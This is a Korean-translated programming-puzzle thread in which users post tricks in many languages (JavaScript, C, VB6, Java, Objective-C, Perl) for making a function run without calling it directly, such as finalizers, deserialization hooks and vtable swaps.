비슷한 접근 방식은 다음과 같습니다.

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

선택 플랫폼은 Linux입니다. 우리는 함수를 호출 할 수 없으므로 대신 링커에서 수행하도록하십시오.

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

마법의 주소를 얻는 방법?

우리는 Linux Standard Base Core Specification에 의존하고 있습니다.

.fini_array

이 섹션은 섹션을 포함하는 실행 가능 객체 또는 공유 객체에 대한 단일 종료 배열에 기여하는 함수 포인터 배열을 보유합니다.

  1. 코드를 컴파일하십시오.

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. 주소를 확인하십시오 .fini_array.

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. VMA를 찾으십시오.

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

에 해당 값을 바꿉니다 ADDRESS.


5

VB6 및 VBA

이것이 클래스의 메소드를 호출하기 때문에 이것이 자격이되는지 확실하지 않습니다.

이것은 클래스 모듈로갑니다.

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

그리고 이것은 "호출"코드입니다.

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

이것은 클래스에 대한 vtable의 두 Sub에 대한 vptr 함수를 교체하여 작동합니다.


야, 당신은 위험 해 ! 좋은 것!
Mathieu Guindon

나는 말할 것 않습니다 VB6 / VBA에 있기 때문에, 자격이 방법은 , 그렇지 않으면 A의 - 클래스의 구성원 인 절차 )
마티유 Guindon

5

하스켈

당신이 할 경우 haskell에서 :

main=putStrLn "This is the main action."

실행할 때 이름을 호출하지 않고 즉시 실행됩니다. 마법!


1
하스켈은 계산하지 않습니다. 당신은 할 수 없습니다 만 더 IO 작업을 체인 또는 어딘가에 할당, IO 작업을 호출합니다.
John Dvorak

IO 동작과 동등한 개념입니다.
PyRulez

5

자바 스크립트

on___JS에서 이벤트를 사용하십시오 . 예를 들면 다음과 같습니다.

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

자바

다른 자바 답변. 코드에서 알 수 있듯이 직접 호출 theCalledMethod하지만 메소드 notCalledMethod가 대신 실행됩니다.

그래서 결국 두 가지 일을하고 있습니다.

  • 호출하지 않고 메소드 호출
  • 메소드를 호출하여 호출하지 않습니다.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

그것을 실행 :

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

플랫폼에 따라 다릅니다. 특히 플랫폼 기본 문자 인코딩이 UTF-8 인 OS X에서는 실패 할 수 있습니다.
ntoskrnl

@ntoskrnl 인코딩 이름을 매개 변수로 getBytes()메소드에 전달하여 켜면 쉽게 해결할 수 있습니다 getBytes("UTF-8"). OS X이 없기 때문에 이것이 작동하는지 테스트 할 수 있습니까?
Victor Stafusa

이진 데이터에는 UTF-8이 작동하지 않습니다. ISO-8859-1과 같은 1 바이트 인코딩은 작동하지만 이진 데이터를 문자열로 처리하는 것은 여전히 ​​잘못되었습니다.
ntoskrnl

3
@ntoskrnl 사실, 내가 여기서하고있는 일을하기 위해 클래스 파일을 강간하는 것은 잘못이며 인코딩은 문제 중 가장 작습니다. :)
Victor Stafusa

4

파이썬

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

자바

예, 쓰레기 수거!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

필연적으로 그것이 System.gc()신뢰할 수 없다고 말하는 사람들을위한 버전 :

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

목표 -C

(아마도 Mac OS X에서 clang으로 컴파일 된 경우에만)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

이 코드는 몇 가지 트릭을 사용하여 사용하지 않는 함수를 얻습니다. 먼저 0x2A27 값입니다. 이것은 정수 42에 대한 태그지정된 포인터 이며, 객체 할당을 피하기 위해 포인터의 값을 인코딩합니다.

다음은 MyClass입니다. 결코 사용되지 않지만 런타임은 +load메소드가로드 될 때 전에 메소드를 호출합니다 main. NSValue슈퍼 클래스로 사용하여 새 클래스를 동적으로 생성하고 등록합니다 . 그것은 또한 추가 +load하여, 그 클래스에 대한 방법을 MyClass'에게의를 -unusedMethod구현한다. 등록 후 새 클래스에서 load 메소드를 호출합니다 (어떤 이유로 든 자동으로 호출되지 않음).

새 클래스의로드 메소드는와 동일한 구현을 사용하므로 unusedMethod효과적으로 호출됩니다. 수퍼 클래스 자체를 취해 unusedFunction해당 클래스의 doesNotRecognizeSelector:메소드에 대한 구현으로 추가합니다 . 이 메소드는 원래의 인스턴스 메소드 MyClass였지만 새 클래스에서 클래스 메소드로 호출되므로 self새 클래스 객체도 마찬가지 입니다. 따라서 수퍼 클래스는 NSValue입니다 NSNumber. 또한 수퍼 클래스입니다 .

마지막으로 main실행됩니다. 포인터 값을 가져 와서 NSString *변수에 고정합니다 ( ARC와 함께 또는 ARC없이 사용할 수 있도록 __bridge첫 번째 캐스트 void *). 그런 다음 stringByAppendingString:해당 변수 를 호출하려고 시도 합니다. 실제로는 해당 메소드를 구현하지 않는 숫자이므로 doesNotRecognizeSelector:메소드가 대신 호출되어 클래스 계층 구조를 통해를 NSValue사용하여 구현됩니다 unusedFunction.


참고 : 다른 시스템과의 비 호환성은 다른 구현에 의해 구현되지 않았다고 생각되는 태그가 지정된 포인터 사용으로 인한 것입니다. 이것이 정상적으로 생성 된 숫자로 대체 된 경우 나머지 코드는 정상적으로 작동합니다.


흠, ciruZ의 ObjFW를 사용해보십시오 . 꽤 괜찮은 Objective-C 런타임 및 프레임 워크입니다. 어쩌면 이것 또는 이와 비슷한 것이 작동합니다. ;-)
mirabilos

@mirabilos 그것의 유일한 비 호환성은 0x2A27가치이므로 다른 곳에서 구현되는지 모르겠습니다. ObjFW는 확실히 흥미 롭습니다.
ughoavgfhw 2014 년


감사합니다! 나는 그 정확한 기사를 찾고 있었고 올바른 이름을 기억하지 못했습니다.
ughoavgfhw

@BryanChen 아 좋아. ughoavgfhw : 물론, 대안 런타임을 지적하고 싶었습니다.
mirabilos

3

자바 스크립트

나는 이것이 함수를 호출하는 것처럼 명시 적으로 보이지 않는 것처럼 느낍니다.

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
당신이 나에게 묻는다면 예쁜 경계선.
Cole Johnson

@ColeJohnson 나는 그가 이미 그것을 교차 생각 ... ...
Tomas

3

C # (통해 using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

자바

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Java 직렬화의 특수 기능을 활용하고 있습니다. 이 readObject메소드는 객체가 직렬화 해제 될 때 호출되지만 직접 코드가 아니거나 내 코드가 아닌 직렬화 해제 라이브러리에 의해 호출되지는 않습니다. 소스를 자세히 살펴보면 낮은 수준에서 메서드가 내부적으로 리플렉션을 통해 호출된다는 것을 알 수 있습니다.


네; 직렬화는 꽤 재미있는 농담을 허용합니다 :); btw Java에 대한 다른 직렬화 로브에서도 비슷한 방법이 있습니다.
masterX244

3

너무 쉽습니다. 아래 코드는 명시적인 호출 없이도 서브 루틴에서 자동으로 코드를 실행합니다.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

통화를 주석 해제하더라도 여전히 한 번만 호출됩니다.


어떻게? 마법 뒤에
숨을 쉴 수 없습니다
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.